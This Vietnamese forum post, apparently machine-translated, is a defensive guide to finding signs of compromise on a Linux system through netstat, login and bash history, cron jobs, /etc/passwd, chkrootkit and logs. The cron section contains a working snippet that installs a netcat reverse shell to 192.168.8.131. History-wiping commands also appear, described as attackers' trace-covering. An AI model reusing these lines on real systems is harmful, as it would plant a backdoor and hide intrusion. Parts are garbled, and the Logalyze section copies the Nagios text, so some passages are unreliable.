Cách xác định xem hệ thống Linux có bị xâm nhập hay thỏa hiệp hay không

Tác giả Network Engineer, T.Một 09, 2022, 11:35:39 CHIỀU

« Chủ đề trước - Chủ đề tiếp »

0 Thành viên và 3 Khách đang xem chủ đề.

Cách xác định xem hệ thống Linux có bị xâm nhập hay thỏa hiệp hay không


Có nhiều lý do khiến hacker xâm nhập vào hệ thống của bạn và gây ra cho bạn những rắc rối nghiêm trọng. Nhiều năm trước, có thể đó là để thể hiện kỹ năng của một người, nhưng ngày nay, ý định đằng sau những hoạt động như vậy có thể phức tạp hơn nhiều với những hậu quả sâu rộng hơn nhiều đối với nạn nhân. Điều này nghe có vẻ hiển nhiên, nhưng chỉ vì "mọi thứ có vẻ ổn", điều này không có nghĩa là mọi thứ đều ổn.

Tin tặc có thể xâm nhập vào hệ thống của bạn mà không cho bạn biết và lây nhiễm phần mềm độc hại vào hệ thống để có toàn quyền kiểm soát và thậm chí để di chuyển ngang giữa các hệ thống. Phần mềm độc hại có thể được ẩn trong hệ thống và đóng vai trò như một cửa hậu hoặc hệ thống Command & Control để tin tặc thực hiện các hoạt động độc hại trên hệ thống của bạn. Bạn có thể không nhận ra ngay rằng hệ thống của bạn đã bị tấn công, nhưng có một số cách để bạn có thể xác định xem hệ thống của mình có bị xâm phạm hay không.

Bài viết này sẽ thảo luận về cách xác định xem Hệ thống Linux đã bị xâm nhập bởi một người không có thẩm quyền hoặc một bot đang đăng nhập vào hệ thống của bạn để thực hiện các hoạt động độc hại.

1. Netstat

Netstat là một tiện ích mạng TCP/IP dòng lệnh quan trọng cung cấp thông tin và số liệu thống kê về các giao thức đang sử dụng và các kết nối mạng đang hoạt động.

Chúng ta sẽ sử dụng netstat trên một máy nạn nhân, ví dụ để kiểm tra điều gì đó đáng ngờ trong các kết nối mạng đang hoạt động thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ netstat -antp

Tại đây, chúng ta sẽ thấy tất cả các kết nối hiện đang hoạt động. Bây giờ, chúng ta sẽ tìm kiếm một kết nối không nên có ở đó.


Đây là kết nối đang hoạt động trên PORT 44999 (một cổng không được mở). Chúng ta có thể xem các chi tiết khác về kết nối, chẳng hạn như PID và tên chương trình mà nó đang chạy trong cột cuối cùng. Trong trường hợp này, PID1555 và tải trọng độc hại mà nó đang chạy là tập tin ./shell.elf

Một lệnh khác để kiểm tra các cổng hiện đang nghe và hoạt động trên hệ thống của bạn như sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ netstat -la

Đây là một đầu ra khá lộn xộn. Để lọc ra các kết nối đang nghe và đã thiết lập, chúng ta sẽ sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ netstat -la | grep "LISTEN" "ESTABLISHED"

Điều này sẽ chỉ cung cấp cho bạn những kết quả quan trọng đối với bạn, do đó bạn có thể sắp xếp các kết quả này dễ dàng hơn. Chúng ta có thể thấy kết nối đang hoạt động trên cổng 44999 trong kết quả trên.

Sau khi nhận ra tiến trình độc hại, bạn có thể hủy tiến trình thông qua các lệnh sau. Chúng ta sẽ ghi chú PID của quá trình bằng lệnh netstat và kết thúc quá trình thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ kill 1555
2. ~.bash-history

Linux lưu giữ hồ sơ người dùng nào đã đăng nhập vào hệ thống, từ địa chỉ IP nào, khi nào và trong bao lâu.

Bạn có thể truy cập thông tin này bằng lệnh last. Đầu ra của lệnh này sẽ như sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ last

Đầu ra hiển thị tên người dùng trong cột đầu tiên, Terminal ở cột thứ hai, địa chỉ nguồn ở cột thứ ba, thời gian đăng nhập trong cột thứ tư và Tổng thời gian phiên được đăng nhập trong cột cuối cùng. Trong trường hợp này, người dùng vietnetwork và ubuntu vẫn đang đăng nhập. Nếu bạn thấy bất kỳ phiên nào không được phép hoặc có vẻ độc hại, hãy tham khảo phần cuối của bài viết này.

Lịch sử ghi nhật ký được lưu trữ trong tập tin ~.bash-history. Vì vậy, lịch sử có thể được xóa dễ dàng bằng cách xóa tập tin .bash-history. Những kẻ tấn công thường xuyên thực hiện hành động này để che dấu vết của chúng.

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cat .bash_history

Lệnh này sẽ hiển thị các lệnh chạy trên hệ thống của bạn, với lệnh mới nhất được thực hiện ở cuối danh sách.

Lịch sử cũng có thể được xóa thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ history -c
Lệnh này sẽ chỉ xóa lịch sử khỏi cửa sổ dòng lệnh Terminal mà bạn hiện đang sử dụng. Vì vậy, có một cách chính xác hơn để làm điều này thông qua lệnh dưới đây:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cat /dev/null > ~/.bash_history
Thao tác này sẽ xóa nội dung của lịch sử nhưng vẫn giữ tập tin ở nguyên vị trí. Vì vậy, nếu bạn chỉ thấy thông tin đăng nhập hiện tại của mình sau khi chạy lệnh cuối cùng, thì đây không phải là một dấu hiệu tốt. Điều này cho thấy hệ thống của bạn có thể đã bị xâm nhập và kẻ tấn công có thể đã xóa lịch sử.

Nếu bạn nghi ngờ người dùng hoặc địa chỉ IP độc hại, hãy đăng nhập với tư cách người dùng đó và chạy lệnh history như sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ su <user>
Mã nguồn [Chọn]
ubuntu@ubuntu:~$ history

Lệnh này sẽ hiển thị lịch sử lệnh bằng cách đọc tập tin .bash-history trong thư mục /home của người dùng đó. Cẩn thận tìm kiếm các lệnh wget, curl hoặc netcat, trong trường hợp kẻ tấn công sử dụng các lệnh này để chuyển tập tin hoặc cài đặt từ các công cụ repo, chẳng hạn như công cụ khai thác tiền điện tử hoặc chương trình tự động gửi thư rác.

Hãy xem ví dụ dưới đây:


Ở trên, bạn có thể thấy lệnh "wget   Đăng nhập để xem liên kết" Trong lệnh này, tin tặc đã cố gắng truy cập vào một tập tin ngoài repo bằng cách sử dụng wget để tải xuống một cửa sau có tên "mod-root me" và cài đặt nó trên hệ thống của bạn. Lệnh này trong lịch sử có nghĩa là hệ thống đã bị xâm nhập và đã bị kẻ tấn công sao chép.

Hãy nhớ rằng, tập tin này có thể bị trục xuất theo cách thủ công hoặc bản chất của nó được tạo ra. Dữ liệu được cung cấp bởi lệnh này không được coi là một thực tế nhất định. Tuy nhiên, trong trường hợp kẻ tấn công chạy một lệnh "xấu" và bỏ qua việc sơ tán lịch sử, nó sẽ ở đó.

3. Cron Jobs

Các công việc Cron có thể đóng vai trò như một công cụ quan trọng khi được cấu hình để thiết lập một trình Shell đảo ngược trên máy tính của kẻ tấn công. Chỉnh sửa cron job là một kỹ năng quan trọng và biết cách xem chúng cũng vậy.

Để xem các công việc cron đang chạy cho người dùng hiện tại, mình sẽ sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ crontab -l

Để xem các công việc cron đang chạy cho người dùng khác (trong trường hợp này là Ubuntu), chúng ta sẽ sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ crontab -u ubuntu -l

Để xem công việc cron hàng ngày, hàng giờ, hàng tuần và hàng tháng, chúng ta sẽ sử dụng các lệnh sau:

3.1. Việc làm Cron hàng ngày

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ ls -la /etc/cron.daily
3.2. Việc làm Cron hàng giờ

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ ls -la /etc/cron.hourly
3.3. Việc làm Cron hàng tuần

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ ls -la /etc/cron.weekly
Lấy một ví dụ:

Kẻ tấn công có thể đưa một công việc cron vào /etc/crontab chạy một lệnh độc hại 10 phút sau mỗi giờ. Kẻ tấn công cũng có thể chạy một dịch vụ độc hại hoặc một backdoor shell ngược thông qua netcat hoặc một số tiện ích khác. Khi bạn thực hiện lệnh $ crontab -l, bạn sẽ thấy một lệnh cron đang chạy bên trong:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ crontab -l
Mã nguồn [Chọn]
CT=$(crontab -l)
CT=$CT$'\n10 * * * * nc -e /bin/bash 192.168.8.131 44999'
printf "$CT" | crontab -
ps aux

Để kiểm tra đúng cách hệ thống của bạn có bị xâm phạm hay không, điều quan trọng là phải xem các tiến trình đang chạy. Có những trường hợp một số tiến trình trái phép không sử dụng đủ CPU để được liệt kê trong lệnh top. Đó là nơi chúng ta sẽ sử dụng lệnh ps để hiển thị tất cả các tiến trình hiện đang chạy.

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ ps auxf

Cột đầu tiên hiển thị người dùng, cột thứ hai hiển thị ID tiến trình duy nhất và việc sử dụng CPU và bộ nhớ được hiển thị trong các cột tiếp theo.

Bảng này sẽ cung cấp nhiều thông tin nhất cho bạn. Bạn nên kiểm tra mọi tiến trình đang chạy để tìm bất cứ điều gì đặc biệt để biết hệ thống có bị xâm phạm hay không. Trong trường hợp bạn tìm thấy bất kỳ điều gì đáng ngờ, hãy Google hoặc chạy nó bằng lệnh lsof, như được hiển thị ở trên. Đây là một thói quen tốt để chạy các lệnh ps trên máy chủ của bạn và nó sẽ tăng khả năng bạn tìm thấy bất kỳ điều gì đáng ngờ hoặc nằm ngoài thói quen hàng ngày của bạn.

4. /etc/passwd

Tập tin /etc/passwd theo dõi mọi người dùng trong hệ thống. Đây là một tập tin được phân tách bằng dấu hai chấm chứa thông tin như tên người dùng, userid, mật khẩu được mã hóa, GroupID (GID), tên đầy đủ của người dùng, thư mục chính của người dùng và trình bao đăng nhập.

Nếu kẻ tấn công xâm nhập vào hệ thống của bạn, có khả năng chúng sẽ tạo thêm một số người dùng, để giữ mọi thứ riêng biệt hoặc tạo một cửa sau trong hệ thống của bạn để quay lại sử dụng cửa sau đó. Trong khi kiểm tra xem hệ thống của bạn có bị xâm phạm hay không, bạn cũng nên xác minh mọi người dùng trong tập tin /etc/passwd. Nhập lệnh sau để làm như vậy:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cat etc/passwd
Lệnh này sẽ cung cấp cho bạn một đầu ra tương tự như bên dưới:

Mã nguồn [Chọn]
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
vietnetwork:x:1000:1000:usman:/home/vietnetwork:/bin/bash
postgres:x:122:128:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
debian-tor:x:123:129::/var/lib/tor:/bin/false
ubuntu:x:1001:1001:ubuntu,,,:/home/ubuntu:/bin/bash
lightdm:x:125:132:Light Display Manager:/var/lib/lightdm:/bin/false
Debian-gdm:x:124:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
anonymous:x:1002:1002:,,,:/home/anonymous:/bin/bash

Bây giờ, bạn sẽ muốn tìm kiếm bất kỳ người dùng nào mà bạn không biết. Trong ví dụ này, bạn có thể thấy một người dùng trong tập tin có tên "anonymous". Một điều quan trọng khác cần lưu ý là nếu kẻ tấn công tạo người dùng để đăng nhập lại, thì người dùng đó cũng sẽ được gán shell "/bin/bash". Vì vậy, bạn có thể thu hẹp tìm kiếm của mình bằng cách thu hẹp kết quả sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cat /etc/passwd | grep -i "/bin/bash"
vietnetwork:x:1000:1000:usman:/home/vietnetwork:/bin/bash
postgres:x:122:128:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ubuntu:x:1001:1001:ubuntu,,,:/home/ubuntu:/bin/bash
anonymous:x:1002:1002:,,,:/home/anonymous:/bin/bash

Bạn có thể thực hiện thêm một số "ma thuật bash" để tinh chỉnh đầu ra của mình.

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cat /etc/passwd | grep -i "/bin/bash" | cut -d ":" -f 1
Mã nguồn [Chọn]
vietnetwork
postgres
ubuntu
anonymous

5. Find

Dựa trên thời gian rất hữu ích để phân loại nhanh chóng. Người dùng cũng có thể sửa đổi dấu thời gian thay đổi tập tin. Để cải thiện độ tin cậy, hãy bao gồm ctime trong tiêu chí, vì nó khó giả mạo hơn nhiều vì nó yêu cầu sửa đổi một số tập tin cấp.

Bạn có thể sử dụng lệnh sau để tìm các tập tin được tạo và sửa đổi trong 5 ngày qua:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ find / -mtime -o -ctime -5
Để tìm tất cả các tập tin SUID do root sở hữu và để kiểm tra xem có bất kỳ mục nhập không mong muốn nào trong danh sách hay không, chúng ta sẽ sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ find / -perm -4000 -user root -type f
Để tìm tất cả các tập tin SGID (đặt ID người dùng) do root sở hữu và kiểm tra xem có bất kỳ mục nhập không mong muốn nào trong danh sách hay không, mình sẽ sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ find / -perm -6000 -type f
6. Chkrootkit

Rootkit là một trong những điều tồi tệ nhất có thể xảy ra với hệ thống và là một trong những cuộc tấn công nguy hiểm nhất, nguy hiểm hơn cả phần mềm độc hại và vi rút, cả về thiệt hại mà chúng gây ra cho hệ thống và khó khăn trong việc tìm kiếm và phát hiện chúng.

Chúng được thiết kế theo cách mà chúng vẫn ẩn và làm những việc độc hại như ăn cắp thẻ tín dụng và thông tin ngân hàng trực tuyến. Rootkit cung cấp cho tội phạm mạng khả năng kiểm soát hệ thống máy tính của bạn. Rootkit cũng giúp kẻ tấn công theo dõi các thao tác gõ phím của bạn và vô hiệu hóa phần mềm chống vi rút của bạn, điều này khiến việc lấy cắp thông tin cá nhân của bạn thậm chí còn dễ dàng hơn.

Những loại phần mềm độc hại này có thể tồn tại trên hệ thống của bạn trong một thời gian dài mà người dùng thậm chí không nhận ra và có thể gây ra một số thiệt hại nghiêm trọng. Khi đã phát hiện Rootkit, không còn cách nào khác là bạn phải cài đặt lại toàn bộ hệ thống. Đôi khi những cuộc tấn công này thậm chí có thể gây ra lỗi phần cứng.

May mắn thay, có một số công cụ có thể giúp phát hiện Rootkit trên hệ thống Linux, chẳng hạn như Lynis, Clam AV hoặc LMD (Linux Malware Detect). Bạn có thể kiểm tra hệ thống của mình để tìm các Rootkit đã biết bằng các lệnh bên dưới.

Đầu tiên, cài đặt Chkrootkit thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ sudo apt install chkrootkit
Thao tác này sẽ cài đặt công cụ Chkrootkit. Bạn có thể sử dụng công cụ này để kiểm tra Rootkit thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ sudo chkrootkit


Gói Chkrootkit bao gồm một tập lệnh shell kiểm tra các tập tin nhị phân của hệ thống để sửa đổi rootkit, cũng như một số chương trình kiểm tra các vấn đề bảo mật khác nhau. Trong trường hợp trên, gói đã kiểm tra dấu hiệu của Rootkit trên hệ thống và không tìm thấy bất kỳ dấu hiệu nào. Chà, đó là một dấu hiệu tốt.

7. Linux Logs

Nhật ký Linux cung cấp thời gian biểu cho các sự kiện trên ứng dụng và khuôn khổ làm việc Linux, đồng thời là công cụ điều tra quan trọng khi bạn gặp sự cố. Nhiệm vụ chính mà quản trị viên cần phải thực hiện khi họ phát hiện ra rằng hệ thống bị xâm nhập là mổ xẻ tất cả các bản ghi nhật ký.

Đối với các vấn đề rõ ràng về ứng dụng khu vực làm việc, các bản ghi nhật ký được giữ liên lạc với các khu vực khác nhau. Ví dụ: Chrome soạn báo cáo sự cố thành '~/.chrome/Crash Reports'), nơi ứng dụng khu vực làm việc soạn nhật ký phụ thuộc vào kỹ sư và cho biết liệu ứng dụng có tính đến việc sắp xếp nhật ký tùy chỉnh hay không. Các bản ghi nằm trong thư mục /var/log. Có nhật ký Linux cho mọi thứ: khuôn khổ, phần, gói trưởng, biểu mẫu khởi động, Xorg, Apache và MySQL. Trong bài viết này, chủ đề sẽ tập trung rõ ràng vào nhật ký khung công tác Linux.

Bạn có thể thay đổi danh mục này bằng cách sử dụng thứ tự đĩa compact. Bạn phải có quyền root để xem hoặc thay đổi các tập tin nhật ký.

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ cd /var/log

7.1. Hướng dẫn xem nhật ký Linux

Sử dụng các lệnh sau để xem các tài liệu nhật ký cần thiết.

Các bản ghi Linux có thể được nhìn thấy bằng lệnh cd /var/log, tại thời điểm đó, bằng cách soạn lệnh để xem các bản ghi được đưa vào danh mục này. Một trong những nhật ký quan trọng nhất là nhật ký hệ thống, ghi lại nhiều nhật ký quan trọng.

Mã nguồn [Chọn]
ubuntu@ubuntu: cat syslog

Để làm sạch đầu ra, chúng ta sẽ sử dụng lệnh "less".

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat syslog | less
Gõ lệnh var/log/syslog để xem một số thứ trong tập tin nhật ký hệ thống. Tập trung vào một vấn đề cụ thể sẽ mất một khoảng thời gian, vì bản ghi này thường sẽ dài. Nhấn Shift + G để cuộn xuống bản ghi đến dưới cùng, được ký hiệu bằng "END".

Tương tự như vậy, bạn có thể xem nhật ký bằng cách sử dụng dmesg, in phần hỗ trợ vòng. Chức năng này in mọi thứ và gửi cho bạn càng xa tài liệu càng tốt. Từ đó, bạn có thể sử dụng lệnh dmesg | less để xem xét năng suất. Trong trường hợp bạn cần xem nhật ký cho người dùng nhất định, bạn sẽ phải chạy lệnh sau:

Mã nguồn [Chọn]
dmesg – facility=user
Tóm lại, bạn có thể sử dụng thứ tự đuôi để xem các tài liệu nhật ký. Nó là một tiện ích nhỏ nhưng hữu ích mà người ta có thể sử dụng, vì nó được sử dụng để hiển thị phần cuối cùng của nhật ký, nơi có thể xảy ra sự cố nhất. Bạn cũng có thể chỉ định số byte hoặc dòng cuối cùng để hiển thị trong lệnh tail. Đối với điều này, hãy sử dụng lệnh tail /var/log/syslog. Còn có rất nhiều cách khác để xem nhật ký.

Đối với một số dòng cụ thể (mô hình xem xét 5 dòng cuối cùng), hãy nhập lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ tail -f -n 5 /var/log/syslog
Điều này sẽ in 5 dòng mới nhất. Khi một tuyến khác đến, tuyến đầu tiên sẽ được sơ tán. Để thoát khỏi thứ tự đuôi, hãy nhấn Ctrl + X.

7.2. Nhật ký Linux quan trọng

Bốn bản ghi Linux chính bao gồm:

  • Nhật ký ứng dụng
  • Nhật ký sự kiện
  • Nhật ký dịch vụ
  • Nhật ký hệ thống

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat syslog | less
/var/log/syslog hoặc /var/log/messages: các thông báo chung, giống như dữ liệu liên quan đến khung. Nhật ký này lưu trữ tất cả thông tin hành động trên toàn hệ thống.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat auth.log | less
/var/log/auth.log hoặc /var/log/secure: lưu trữ nhật ký xác minh, bao gồm cả chiến lược xác thực và thông tin đăng nhập hiệu quả và không có hiệu quả. Debian và Ubuntu sử dụng /var/log/auth.log để lưu trữ các lần đăng nhập, trong khi Redhat và CentOS sử dụng /var/log/secure để lưu trữ nhật ký xác thực.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat boot.log | less
/var/log/boot.log: chứa thông tin về khởi động và thông báo trong quá trình khởi động.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat maillog | less
/var/log/maillog hoặc /var/log/mail.log: lưu trữ tất cả các bản ghi được xác định với máy chủ thư, có giá trị khi bạn cần dữ liệu về postfix, smtpd hoặc bất kỳ dịch vụ quản trị nào liên quan đến email đang chạy trên máy chủ của bạn.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat kern | less
/var/log/kern: chứa thông tin về nhật ký Kernel. Nhật ký này rất quan trọng để điều tra các phần tùy chỉnh.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat dmesg | less
/var/log/dmesg: chứa thông báo xác định trình điều khiển tiện ích. Thứ tự dmesg có thể được sử dụng để xem các tin nhắn trong bản ghi này.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat faillog | less
/var/log/faillog: chứa dữ liệu về tất cả các lần đăng nhập bị lỗi, có giá trị để thu thập các bit kiến thức về các lần thâm nhập bảo mật đã cố gắng, chẳng hạn như những kẻ tìm cách hack chứng nhận đăng nhập, giống như các cuộc tấn công sức mạnh động vật.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat cron | less
/var/log/cron: lưu trữ tất cả các thông báo liên quan đến Cron; việc làm cron, ví dụ, hoặc khi daemon cron bắt đầu một công việc, các thông báo thất vọng liên quan, v.v.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat yum.log | less
/var/log/yum.log: nếu bạn giới thiệu các gói bằng cách sử dụng thứ tự yum, thì nhật ký này lưu trữ tất cả dữ liệu liên quan, có thể hữu ích trong việc quyết định xem một gói và tất cả các phân đoạn có được giới thiệu một cách hiệu quả hay không.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat httpd | less
/var/log/httpd/ hoặc /var/log/apache2: hai thư mục này được sử dụng để lưu trữ tất cả các loại nhật ký cho một máy chủ Apache HTTP, bao gồm nhật ký truy cập và nhật ký lỗi. Tập tin error_log chứa tất cả các yêu cầu không hợp lệ do máy chủ http nhận được. Những sai lầm này bao gồm các vấn đề về bộ nhớ và các lỗi sai khác liên quan đến khuôn khổ. Access_log chứa một bản ghi của tất cả các yêu cầu nhận được qua HTTP.

Mã nguồn [Chọn]
ubuntu@ubuntu:  cat mysqld.log | less
/var/log/mysqld.log hoặc /var/log/mysql.log: tài liệu nhật ký MySQL ghi lại tất cả các thông báo lỗi, gỡ lỗi và thành công. Đây là một sự xuất hiện khác trong đó khung hướng dẫn đến sổ đăng ký; RedHat, CentOS, Fedora và các khung dựa trên RedHat khác sử dụng /var/log/mysqld.log, trong khi Debian/Ubuntu sử dụng danh mục /var/log/mysql.log.

8. Công cụ để xem Nhật ký Linux

Ngày nay, có nhiều trình theo dõi nhật ký và thiết bị kiểm tra nguồn mở có thể truy cập được, giúp việc chọn nội dung chính xác cho nhật ký hành động trở nên đơn giản hơn bạn có thể nghi ngờ. Trình kiểm tra Nhật ký mã nguồn mở và miễn phí có thể hoạt động trên bất kỳ hệ thống nào để hoàn thành công việc. Dưới đây là năm trong số những thứ tốt nhất mà mình đã sử dụng trong quá khứ, không theo thứ tự cụ thể.

8.1. GRAYLOG

Bắt đầu ở Đức vào năm 2011, Graylog hiện được cung cấp như một thiết bị nguồn mở hoặc một thỏa thuận kinh doanh. Graylog được thiết kế để trở thành một khuôn khổ log-the-board, tập hợp lại với nhau, nhận các luồng thông tin từ các máy chủ hoặc cửa sổ dòng lệnh Terminal khác nhau và cho phép bạn đọc nhanh hoặc chia nhỏ dữ liệu đó.


Graylog đã thu thập được một danh tiếng tích cực trong số những người đứng đầu khung công tác do tính đơn giản và tính linh hoạt của nó. Hầu hết các liên doanh web đều bắt đầu ít, nhưng có thể phát triển theo cấp số nhân. Graylog có thể điều chỉnh các ngăn xếp trên một hệ thống máy chủ phụ trợ và xử lý một vài terabyte thông tin nhật ký mỗi ngày.

Các chủ tịch CNTT sẽ thấy giao diện GrayLog đơn giản để sử dụng và tính hữu dụng của nó. Graylog làm việc xung quanh ý tưởng về trang tổng quan, cho phép người dùng chọn loại phép đo hoặc nguồn thông tin mà họ thấy quan trọng và quan sát nhanh các độ nghiêng sau một thời gian.

Khi một tình huống bảo mật hoặc thực thi xảy ra, các chủ tịch CNTT cần có tùy chọn để theo dõi các biểu hiện cho một trình điều khiển cơ bản nhanh nhất có thể một cách hợp lý. Tính năng tìm kiếm của Graylog làm cho công việc này trở nên đơn giản. Công cụ này đã hoạt động để thích ứng với lỗi nội bộ có thể chạy các liên doanh đa chuỗi để bạn có thể cùng nhau phá vỡ một số nguy cơ tiềm ẩn.

8.2. NAGIOS

Được bắt đầu bởi một nhà phát triển duy nhất vào năm 1999, Nagios kể từ đó đã phát triển thành một trong những công cụ mã nguồn mở vững chắc nhất để giám sát thông tin nhật ký. Phiên bản hiện tại của Nagios có thể được thực hiện trong các máy chủ chạy bất kỳ loại hệ điều hành nào (Linux, Windows, v.v.).


Danh mục thiết yếu của Nagios là một máy chủ nhật ký, giúp sắp xếp hợp lý các loại thông tin và cung cấp dữ liệu dần dần cho các nhà điều hành khuôn khổ. Động cơ máy chủ nhật ký Nagios sẽ dần dần nắm bắt thông tin và đưa nó vào một công cụ tìm kiếm đột phá. Việc kết hợp với một điểm cuối hoặc ứng dụng khác là một phần thưởng đơn giản cho trình hướng dẫn sắp xếp vốn có này.

Nagios thường được sử dụng trong các hiệp hội cần kiểm tra an ninh của khu vực lân cận của họ và có thể xem xét phạm vi các trường hợp liên quan đến hệ thống để giúp tự động hóa việc truyền tải các cảnh báo. Nagios có thể được lập trình để thực hiện các tác vụ cụ thể khi một điều kiện nhất định được đáp ứng, cho phép người dùng phát hiện các vấn đề ngay cả trước khi có nhu cầu của con người.

Là một khía cạnh chính của việc đánh giá hệ thống, Nagios sẽ phân kênh thông tin nhật ký phụ thuộc vào khu vực địa lý nơi nó bắt đầu. Các trang tổng quan hoàn chỉnh với đổi mới lập bản đồ có thể được triển khai để xem luồng lưu lượng truy cập web.

8.3. LOGALYZE

Logalyze sản xuất các công cụ mã nguồn mở cho các giám đốc khung hoặc quản trị viên hệ thống và chuyên gia bảo mật để hỗ trợ họ giám sát nhật ký máy chủ và để họ tập trung vào việc chuyển đổi nhật ký thành thông tin có giá trị. Mục cần thiết của công cụ này là nó có thể truy cập dưới dạng tải xuống miễn phí để sử dụng cho gia đình hoặc doanh nghiệp.


Danh mục thiết yếu của Nagios là một máy chủ nhật ký, giúp sắp xếp hợp lý các loại thông tin và cung cấp dữ liệu dần dần cho các nhà điều hành khuôn khổ. Động cơ máy chủ nhật ký Nagios sẽ dần dần nắm bắt thông tin và đưa nó vào một công cụ tìm kiếm đột phá. Việc kết hợp với một điểm cuối hoặc ứng dụng khác là một phần thưởng đơn giản cho trình hướng dẫn sắp xếp vốn có này.

Nagios thường được sử dụng trong các hiệp hội cần kiểm tra an ninh của khu vực lân cận của họ và có thể xem xét phạm vi các trường hợp liên quan đến hệ thống để giúp tự động hóa việc truyền tải các cảnh báo. Nagios có thể được lập trình để thực hiện các tác vụ cụ thể khi một điều kiện nhất định được đáp ứng, cho phép người dùng phát hiện các vấn đề ngay cả trước khi có nhu cầu của con người.

Là một khía cạnh chính của việc đánh giá hệ thống, Nagios sẽ phân kênh thông tin nhật ký phụ thuộc vào khu vực địa lý nơi nó bắt đầu. Các trang tổng quan hoàn chỉnh với đổi mới lập bản đồ có thể được triển khai để xem luồng lưu lượng truy cập web.

9. Bạn nên làm gì nếu nếu hệ thống máy chủ Linux của bạn bị xâm nhập và thỏa hiệp?

Điều chính là đừng hoảng sợ, đặc biệt là nếu người không được phép đăng nhập ngay bây giờ. Bạn nên có tùy chọn giành lại quyền kiểm soát máy trước khi người khác biết rằng bạn biết về chúng. Trong trường hợp họ biết bạn biết sự hiện diện của họ, kẻ tấn công có thể giữ bạn không tham gia vào máy chủ của bạn và bắt đầu phá hủy hệ thống của bạn. Nếu bạn không phải là kỹ thuật đó, thì tất cả những gì bạn phải làm là tắt toàn bộ máy chủ ngay lập tức. Bạn có thể tắt máy chủ thông qua các lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ shutdown -h now
Hoặc là

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ systemctl poweroff
Một cách khác để làm điều này là đăng nhập vào bảng điều khiển của nhà cung cấp dịch vụ lưu trữ của bạn và tắt nó từ đó. Khi máy chủ tắt nguồn, bạn có thể làm việc trên các quy tắc tường lửa cần thiết và tham khảo ý kiến của bất kỳ ai để được hỗ trợ trong thời gian của riêng bạn.

Trong trường hợp bạn cảm thấy tự tin hơn và nhà cung cấp dịch vụ lưu trữ của bạn có tường lửa ngược dòng, hãy tạo và bật hai quy tắc sau:

  • Chỉ cho phép lưu lượng SSH từ địa chỉ IP của bạn.
  • Chặn mọi thứ khác, không chỉ SSH mà mọi giao thức đang chạy trên mọi cổng.

Để kiểm tra các phiên SSH đang hoạt động, hãy sử dụng lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ ss | grep ssh
Sử dụng lệnh sau để hủy phiên SSH của họ:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$ kill <pid of ssh session>
Điều này sẽ hủy phiên SSH của họ và cấp cho bạn quyền truy cập vào máy chủ. Trong trường hợp bạn không có quyền truy cập vào tường lửa ngược dòng, thì bạn sẽ phải tạo và kích hoạt các quy tắc tường lửa trên chính máy chủ. Sau đó, khi các quy tắc tường lửa được thiết lập, hãy hủy phiên SSH của người dùng trái phép thông qua lệnh "kill".

Kỹ thuật cuối cùng, nếu có, đăng nhập vào máy chủ bằng kết nối ngoài băng tần, chẳng hạn như bảng điều khiển nối tiếp. Dừng tất cả kết nối mạng thông qua lệnh sau:

Mã nguồn [Chọn]
ubuntu@ubuntu:~$  systemctl stop network.service
Điều này sẽ ngăn hoàn toàn bất kỳ hệ thống nào truy cập vào bạn, vì vậy bây giờ bạn có thể bật các điều khiển tường lửa trong thời gian của riêng mình.

Một khi bạn giành lại quyền kiểm soát máy chủ, đừng dễ dàng tin tưởng nó. Đừng cố gắng sửa chữa mọi thứ và sử dụng lại chúng. Cái gì hỏng thì không sửa được. Bạn sẽ không bao giờ biết kẻ tấn công có thể làm gì và vì vậy bạn không bao giờ nên chắc chắn rằng máy chủ được bảo mật. Vì vậy, cài đặt lại sẽ là bước cuối cùng của bạn.